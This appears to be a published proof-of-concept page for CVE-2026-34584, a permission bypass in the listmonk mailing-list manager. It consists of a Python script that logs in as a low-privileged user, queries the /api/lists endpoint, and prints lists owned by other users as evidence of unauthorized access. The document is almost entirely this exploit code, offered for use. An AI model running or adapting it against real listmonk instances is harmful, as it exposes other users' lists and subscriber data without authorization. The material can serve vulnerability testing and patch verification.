CVE-2026-34584 listmonk权限绕过漏洞

import requests # PoC for CVE-2026-34584: listmonk Permission Bypass # Description: This script attempts to access lists owned by other users # by leveraging the permission check bypass vulnerability. TARGET_URL = "http://localhost:9000" API_USER = "low_priv_user" API_PASS = "password" login_endpoint = f"{TARGET_URL}/api/login" lists_endpoint = f"{TARGET_URL}/api/lists" def exploit(): session = requests.Session() # 1. Authenticate as a low-privileged user login_data = {"username": API_USER, "password": API_PASS} resp = session.post(login_endpoint, json=login_data) if resp.status_code != 200: print(f"Login failed: {resp.text}") return print("[+] Login successful") # 2. Attempt to enumerate all lists # In a vulnerable version, the API might return lists not owned by the user resp = session.get(lists_endpoint) if resp.status_code == 200: data = resp.json() print(f"[+] Successfully retrieved data. Total lists found: {data.get('total', 0)}") # Analyze results to identify unauthorized access for lst in data.get('results', []): print(f" - ID: {lst['id']}, Name: {lst['name']}, OwnerID: {lst.get('user_id', 'N/A')}") print(" [!] Potential unauthorized access detected if OwnerID differs from current user.") else: print("[-] Failed to retrieve lists.") if __name__ == "__main__": exploit()